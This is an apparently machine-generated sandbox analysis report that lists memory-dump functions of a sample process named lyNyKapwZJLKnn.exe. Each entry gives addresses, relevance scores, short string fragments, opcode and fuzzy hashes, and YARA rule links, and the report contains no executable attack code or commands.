Instruction Fuzzy Hash: A811E176504280CFCB02DF54D5C4B1ABFB2FB84324F24C6AAD8090F696C33AD45ACBA1

Function 0159D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1767439168.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_159d000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: 16c811ec8446b7671b4c614bf7b5fcca39b213b4121ab0a0e7c9c82cfb5ddc79
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 8011BB75904280DFDF02CF54C5C4B19BBB2FB84224F28C6ADD8494F296C33AD40ACB62

Analysis Process: lyNyKapwZJLKnn.exePID: 7540, Parent PID: 7260COMMON

Executed Functions

Function 01146FC8 Relevance: 6.7, Strings: 5, Instructions: 462COMMON

Download Yara Rule

Strings

(o^q, xrefs: 01147220
(o^q, xrefs: 01147212
,bq, xrefs: 0114728A
(o^q, xrefs: 0114753D
,bq, xrefs: 01147298

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-2525668591
Opcode ID: 72b89e7351c522bdada17fbd6cd107955d3951418246ded768dd8a05f35a17a5
Instruction ID: 2f494e190be0ac39c06d9c49d8fbebe69ccf05be314b58189fabaddf6d9d52f3
Opcode Fuzzy Hash: 72b89e7351c522bdada17fbd6cd107955d3951418246ded768dd8a05f35a17a5
Instruction Fuzzy Hash: AF126E70A01259CFCB19CF68C984AADBFF2FF89700F158469E915AB2A1D730DD41CB91

Function 01149DE0 Relevance: 6.1, Strings: 4, Instructions: 1131COMMON

Download Yara Rule

Strings

4'^q, xrefs: 01149F0C
4'^q, xrefs: 01149E04
4'^q, xrefs: 0114AB13
(o^q, xrefs: 0114A518

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: (o^q$4'^q$4'^q$4'^q
API String ID: 0-183542557
Opcode ID: bbd9f0539196fdd7be2eadc1199d1b1bc4242da252729fe2678644c80c09bad6
Instruction ID: 4c125165b00a07e51ee84c273daf7f1b2776fdb9ee690d69835715c5d3c3b6ac
Opcode Fuzzy Hash: bbd9f0539196fdd7be2eadc1199d1b1bc4242da252729fe2678644c80c09bad6
Instruction Fuzzy Hash: FAA2B070A40209CFCB19CF68D584AAEBBF2FF89710F168569E506DB366D731E881CB51

Function 011429EC Relevance: 5.4, Strings: 4, Instructions: 436COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01142BA4
Xbq, xrefs: 01142A9E
Xbq, xrefs: 01142B57
Xbq, xrefs: 01142AD8

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 2861424a2f60767e244ff892abd4273bfcab8384e1a2d5d1d781613b2ef9187e
Instruction ID: 0e999d46431255ca94224a9e1a9341d307f689ca85000c630e9baf998179b797
Opcode Fuzzy Hash: 2861424a2f60767e244ff892abd4273bfcab8384e1a2d5d1d781613b2ef9187e
Instruction Fuzzy Hash: 10C17E72D042294BCB2E8F7C94C02EE7F71BF6D724F1945A9D1555B242E7324983CB52

Function 011469A0 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

Hbq, xrefs: 01146DA6
(o^q, xrefs: 01146EDA

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: af0723ca538ece68352562eae24bb115f7c98a23b0e31b4137ce8fca36f899d6
Instruction ID: 24037c0da6fec5a54424447dec35f2db1fca80f53eae1cdfad38ccbd03cd21df
Opcode Fuzzy Hash: af0723ca538ece68352562eae24bb115f7c98a23b0e31b4137ce8fca36f899d6
Instruction Fuzzy Hash: DA12BE70A002198FCB19DF69C854BAEBBF2BF89704F108569E549DB395DF309D81CB91

Function 01143E09 Relevance: 2.8, Strings: 2, Instructions: 265COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01143E47
$^q, xrefs: 01143E2E

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: Xbq$$^q
API String ID: 0-1593437937
Opcode ID: 395fec2e1e13887d05e9906ed9b028a6573d9c254db9c408e362616d78d2eba0
Instruction ID: cea536325b26c351e641140929facfc006481a3945cb91654b0497d5a46a707b
Opcode Fuzzy Hash: 395fec2e1e13887d05e9906ed9b028a6573d9c254db9c408e362616d78d2eba0
Instruction Fuzzy Hash: 38919174F04219DBDB1DABB8945437E7BA7BFC8B40B05892DE546E7288CF34C8428796

Function 0114C146 Relevance: 2.7, Strings: 2, Instructions: 226COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0114C400
PH^q, xrefs: 0114C3EF

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: e52c5ddad778e3c72faecbb59cbcf2312531fe3df98699ce9001d63539bf80bb
Instruction ID: 920f2cbb2fbb2e1b522a4edc4e196b58694dc7292f0418e528655f1f69ebe00a
Opcode Fuzzy Hash: e52c5ddad778e3c72faecbb59cbcf2312531fe3df98699ce9001d63539bf80bb
Instruction Fuzzy Hash: F4A1F474E05218CFDB18CFAAD994B9DBBF2BF89700F15806AE409AB365DB309941CF51

Function 01145362 Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

PH^q, xrefs: 011455D9
PH^q, xrefs: 011455C8

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: db9170a26e8f956e9458b6525141222a58b28e590115ec447e8895aacb1f279d
Instruction ID: 25e364127574aac02ef9626043b52dae3dc5e353841209b574440e7d5da794a0
Opcode Fuzzy Hash: db9170a26e8f956e9458b6525141222a58b28e590115ec447e8895aacb1f279d
Instruction Fuzzy Hash: 8A91E574E00218CFDB59DFA9D884A9DBBF2BF89300F15C06AD819AB365DB309845CF51

Function 0114C468 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0114C6BF
PH^q, xrefs: 0114C6D0

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 460672899ca5668113af49ce6a7ce2306a4aff5a9db6fd61f8b90ec926b5554f
Instruction ID: e6de4d381fada9034922535961bd9d81936df44bb90a0b52394977a3fca142f4
Opcode Fuzzy Hash: 460672899ca5668113af49ce6a7ce2306a4aff5a9db6fd61f8b90ec926b5554f
Instruction Fuzzy Hash: 4F81C074E012188FDB18DFAAD984B9DBBF2BF88700F14D069E819AB365DB305981CF50

Function 0114D278 Relevance: 2.7, Strings: 2, Instructions: 187COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0114D4CF
PH^q, xrefs: 0114D4E0

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: bea5025f0d069a9ad17e7515946850603b6ddac8096607fc206bcfe7a5e27076
Instruction ID: ebdad3144c9c8f80abcb2359955fa90e52b2382a4ec4180e20348268c1c09d6e
Opcode Fuzzy Hash: bea5025f0d069a9ad17e7515946850603b6ddac8096607fc206bcfe7a5e27076
Instruction Fuzzy Hash: D881B3B4E00218CFDF18DFAAD994A9DBBF2BF99300F148069E859AB365DB305945CF10

Function 0114CA08 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0114CC70
PH^q, xrefs: 0114CC5F

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 9d43a4ed792c3ce5c9c0b633bc59466d1ab50a7c586cab4df9ffc5e54c0236dd
Instruction ID: c35d83878c53ad5edca915cfabdb286a91e46ab5604cd708788cb08685174b23
Opcode Fuzzy Hash: 9d43a4ed792c3ce5c9c0b633bc59466d1ab50a7c586cab4df9ffc5e54c0236dd
Instruction Fuzzy Hash: 2B81B074E01218CFDB18DFAAD894B9DBBF2BF89300F148069E819AB365DB305985CF51

Function 0114CCD8 Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0114CF2F
PH^q, xrefs: 0114CF40

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: bea23372c5a376771d8e66420cc7e4fe5a0fea22bd41367149cb6c503873824a
Instruction ID: 604e651ce4138124f149a6bc34332bcd360b7b60982a5121e6b44490818e17b6
Opcode Fuzzy Hash: bea23372c5a376771d8e66420cc7e4fe5a0fea22bd41367149cb6c503873824a
Instruction Fuzzy Hash: 2481B074E01218CFDB18DFAAD994A9DBBF2BF88300F148069E819AB265DB305985CF51

Function 0114C738 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0114C98F
PH^q, xrefs: 0114C9A0

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 2a3fb8ebbb340b74033328c1021a38759d731082f9e7eca5b7c70bd541fff8c7
Instruction ID: 53bf7d4d7440579ca758ab5cac4150ba450e57dd86e657633a14a57c7f495053
Opcode Fuzzy Hash: 2a3fb8ebbb340b74033328c1021a38759d731082f9e7eca5b7c70bd541fff8c7
Instruction Fuzzy Hash: AB81B374E01218DFEB18DFAAD994B9DBBF2BF88310F148069E459AB365EB305941CF50

Function 0114CFAC Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0114D1FF
PH^q, xrefs: 0114D210

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 3dbdc8f7a588a58fb31239ea8c9efe1a8e5fca91134cfb5325a92dc4bcde0ecc
Instruction ID: 79a649d40e7e7d2e74470ecf4a333459e7b0849901f16a29ce2c57362e09839f
Opcode Fuzzy Hash: 3dbdc8f7a588a58fb31239ea8c9efe1a8e5fca91134cfb5325a92dc4bcde0ecc
Instruction Fuzzy Hash: 6281B374E00218CFDF18DFAAD994A9DBBF2BF98710F148069E819AB365DB305985CF11

Function 0114E97C Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f47b4e817d41612482fcf4a667d82ce597f57de9f16d9b0172730dbcc10414
Instruction ID: cbfc7e307e2b4f1aab6f14a2e39bae80af1bd998415eb1717398ec7c721bdcc9
Opcode Fuzzy Hash: 13f47b4e817d41612482fcf4a667d82ce597f57de9f16d9b0172730dbcc10414
Instruction Fuzzy Hash: D051B374E01218DFDB18DFAAD494A9DBBF2BF88304F24C02AE919AB365DB345841CF15

Function 0114E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bb99493c9303a1543492dd480998cb2085d38329f46a7301a288e4b070ba7e9
Instruction ID: 5937f6dde21ed669a150df321f6f10e6ec1589847636cbd39195ae0939ac6f4e
Opcode Fuzzy Hash: 1bb99493c9303a1543492dd480998cb2085d38329f46a7301a288e4b070ba7e9
Instruction Fuzzy Hash: F451B274E01208DFEB18DFAAD484A9DBBF2BF88300F208029E819AB364DB345941CF15

Function 011476F1 Relevance: 10.5, Strings: 8, Instructions: 473COMMON

Download Yara Rule

Strings

(o^q, xrefs: 01147BFF
,bq, xrefs: 01147BA0
(o^q, xrefs: 011478B2
(o^q, xrefs: 0114772E
(o^q, xrefs: 011477E9
,bq, xrefs: 01147B90
(o^q, xrefs: 01147C0F
(o^q, xrefs: 01147815

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: f4425c754cfc6e8e96d8b63af47ee0275f1b96fface03df609c0144daa096b7f
Instruction ID: 44ac872e7df0ca4cf309e9b2ddf89a6ba5861b13342b57ad5be60d1da67fa2d2
Opcode Fuzzy Hash: f4425c754cfc6e8e96d8b63af47ee0275f1b96fface03df609c0144daa096b7f
Instruction Fuzzy Hash: 1D126B30A00219CFCB19CF68C984A9EBBF2FF49715F158599E959DB2A1D730ED41CB90

Function 01148490 Relevance: 3.2, Strings: 2, Instructions: 701COMMON

Download Yara Rule

Strings

$^q, xrefs: 01148FD7
$^q, xrefs: 01148FB4

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: c6553fc01e9018b8ffefb27049bd6da05d4f57a81802494834b41173873dd3b8
Instruction ID: a9cd2c4ec22f3f48eaa1ab81d8d678defda5b9aaca78d1ee179be0025dcadfaa
Opcode Fuzzy Hash: c6553fc01e9018b8ffefb27049bd6da05d4f57a81802494834b41173873dd3b8
Instruction Fuzzy Hash: 64523274A102198FDB299BA4C864B9EBBB3FF88300F1081ADC24A6B795CF355D85DF51

Function 01145F38 Relevance: 2.8, Strings: 2, Instructions: 325COMMON

Download Yara Rule

Strings

Hbq, xrefs: 01146023
Hbq, xrefs: 01146056

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: eb79b17bfc04e26ceb3178944614b43ca59846a475711ca9a4a0c1c13bccd570
Instruction ID: 4ffb070c9f7f14eb0ac247e59aa1fb40f8e23b55cef95ee04bd0de9bf6095bd7
Opcode Fuzzy Hash: eb79b17bfc04e26ceb3178944614b43ca59846a475711ca9a4a0c1c13bccd570
Instruction Fuzzy Hash: EBB1BD307042119FDB2D9F38C854A6A7BE2BF8AB19F058569E906CB395DB35CC42C792

Function 01146498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,bq, xrefs: 0114656E
,bq, xrefs: 01146578

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 1620c7a2ca01ee191b7143730ff5580f42d31a4a1ab2b6ca1ade59c490f65657
Instruction ID: 6cf881f5acd46aa585111634a63c1250c13e3811764b821fa9eac4fe8b3ecedd
Opcode Fuzzy Hash: 1620c7a2ca01ee191b7143730ff5580f42d31a4a1ab2b6ca1ade59c490f65657
Instruction Fuzzy Hash: 7F81A174B00505CFDB1CDF6DC4849AABBF2BF8AA08B158169D509DB365DB31EC41CB91

Function 01143B95 Relevance: 2.7, Strings: 2, Instructions: 219COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01143CF6
Xbq, xrefs: 01143CCD

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: 2ef5b59cf7b4e51abb0c31b24712cf60f90862b5a54fa0e0e9ced4b5fd396603
Instruction ID: c8a792a3678c9ab6edc3d575cfce6c3386dc283a75c064f471330be8265ba3b6
Opcode Fuzzy Hash: 2ef5b59cf7b4e51abb0c31b24712cf60f90862b5a54fa0e0e9ced4b5fd396603
Instruction Fuzzy Hash: 36516F31B153744BDB1D4B3899D11AD7FB1BB95725F99007EC4A2C7282DB758C0287A2

Function 01149D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'^q, xrefs: 01149D84
4'^q, xrefs: 01149D6D

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 3a1e3399e441587b22086374bd257daf0386e11724b9c033273537adb0edfddb
Instruction ID: aec9946b4d9b4fdd0dba8b31ad86447e15704cac4598684d2c59353f25e26a76
Opcode Fuzzy Hash: 3a1e3399e441587b22086374bd257daf0386e11724b9c033273537adb0edfddb
Instruction Fuzzy Hash: 27F0AF353002192FDB0C2AAA985497FBACBEFCC6A4B048429FA0AC7340DE61CC0187A0

Function 01140C8F Relevance: 1.8, Strings: 1, Instructions: 544COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01140F19

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: b77bd39ef9ac00a0620af3440c9cc36e377767d2b2d8177595f352251a44cf0b
Instruction ID: ec956a1a4e226d5c7af81a26dba4dbc1be209d2d0d183d1f770d9df5a3c24883
Opcode Fuzzy Hash: b77bd39ef9ac00a0620af3440c9cc36e377767d2b2d8177595f352251a44cf0b
Instruction Fuzzy Hash: 3A529D78901219CFCB54EF68EA94A9DBBF2FB48305F1045A9D44DAB758DB305E81CF80

Function 01140CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01140F19

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 6a9851c2172946bfe75056955e2b0cf1ee075bace1d725d9d8f00c7f5d966375
Instruction ID: 9345cb1b5755cae3d13255d02ca72be14bf5aff937ba07c39e3167b155f8bff5
Opcode Fuzzy Hash: 6a9851c2172946bfe75056955e2b0cf1ee075bace1d725d9d8f00c7f5d966375
Instruction Fuzzy Hash: CA528C78901219CFCB54EF68EA94A9DBBF2FB48305F1045A9D44DAB758DB306E81CF90

Function 0114AEF0 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0114B079

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: (o^q
API String ID: 0-74704288
Opcode ID: 9f7c59d6d57b4cefa1c7221f63daceecaf94e3ebe698a6a8a3bce4a0096678f2
Instruction ID: f21337e88c783372fad258fa3f5e9b1e9ffd879d0cd79013916a1fe1de71086a
Opcode Fuzzy Hash: 9f7c59d6d57b4cefa1c7221f63daceecaf94e3ebe698a6a8a3bce4a0096678f2
Instruction Fuzzy Hash: B241EF317052008FCB1D9B78D858AAEBBF2BF89A11B15446AE516DB391DF31DC02CB95

Function 0114E007 Relevance: .7, Instructions: 653COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce0d917c5a70aaa6770b206b7587be6f5c29190896ecfc4b35c1088ee1f2dd5e
Instruction ID: 584d4fbb78c45b59237dbcfb59ef6afbea2463f6d466d295da5826cfff4e8822
Opcode Fuzzy Hash: ce0d917c5a70aaa6770b206b7587be6f5c29190896ecfc4b35c1088ee1f2dd5e
Instruction Fuzzy Hash: 7612B9340236538FD6682B34E5ED12A7B61FB0F363745AD64E06BC944CEB3552CACB62

Function 0114E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbec38674a26a9a3e8f40ef3adb0fb34c2cd93e717962569625ff53c7f2eff35
Instruction ID: c736a9e61896ac61ff74c578c056b262915bb93f99a30d81eaf5794a0a356751
Opcode Fuzzy Hash: cbec38674a26a9a3e8f40ef3adb0fb34c2cd93e717962569625ff53c7f2eff35
Instruction Fuzzy Hash: 5412A9340236578FD6682B34E5ED12A7B61FB0F363745AD64E02BC944CEB3552CACB62

Function 011480D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d4c40adf8b12d882f81f0961a7589b4584889d8946328891be12365dcd0c5d2
Instruction ID: efd48ce4ccb141b1978e40b16e83b8ad97216b16f10b0fbd9f9df38de2180834
Opcode Fuzzy Hash: 9d4c40adf8b12d882f81f0961a7589b4584889d8946328891be12365dcd0c5d2
Instruction Fuzzy Hash: B7714A347006058FDB29DFACC884E6E7BE6BF89A44B1504AAE916DB371DB70DC41CB51

Function 0114F71F Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77c4fd7614778df9a5247668b9f91732d2455800a0db31046f6334f8286fbadd
Instruction ID: b4b101ec64662a616838ff44dd103665ff2d13e56d0a007d839c47d40d44896d
Opcode Fuzzy Hash: 77c4fd7614778df9a5247668b9f91732d2455800a0db31046f6334f8286fbadd
Instruction Fuzzy Hash: B3613374E11319DFDB15CFA9D848AADBBB2FF48305F208129D809AB394DB755946CF01

Function 0114D548 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f50f6fac2180404474c67f5778eb433b696f476cbfb53bce7c11e71f772f88c
Instruction ID: df93c66b0c4d5511da499b8232e16a5c946662dcef502cef231cd71138dfd402
Opcode Fuzzy Hash: 2f50f6fac2180404474c67f5778eb433b696f476cbfb53bce7c11e71f772f88c
Instruction Fuzzy Hash: D7517074E01218DFDB58DFAAD5949DDBBF2BF89300F208169E819AB364DB31A905CF50

Function 011441A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd04c279e0642ef57355fd25460cd7a6b7c0dcc3f5847951900556e3695568eb
Instruction ID: 4d946891937a094507a4c05aff2fafb313c7fbdadc811de3f5278696aa81f81f
Opcode Fuzzy Hash: cd04c279e0642ef57355fd25460cd7a6b7c0dcc3f5847951900556e3695568eb
Instruction Fuzzy Hash: A051A074E01208CFCB08DFA9D59499DBBF2FF8D314B209469E819AB364DB31A942CF50

Function 0114A303 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2dee7eaec2df034e8e092fe13a8afcc2a3011876b8a6c2ebbccc02b4ec5a3b0
Instruction ID: 304b27d172296029eba52b3e1b86d05eb08308cd53289db105bd1492a7faae62
Opcode Fuzzy Hash: f2dee7eaec2df034e8e092fe13a8afcc2a3011876b8a6c2ebbccc02b4ec5a3b0
Instruction Fuzzy Hash: 8F412631A48249CFCF1ACFA8D844A9DBFB2FF45710F0A8155E9469B292E370E814CB50

Function 01149C30 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6970522d62d7887592ca42d722a2a763996773aa806f0d8f0b054970a65dc52d
Instruction ID: d37f834d4782465f5c4245a2111bd984a283f3d7750cd62cecdfc5de9cbffbd2
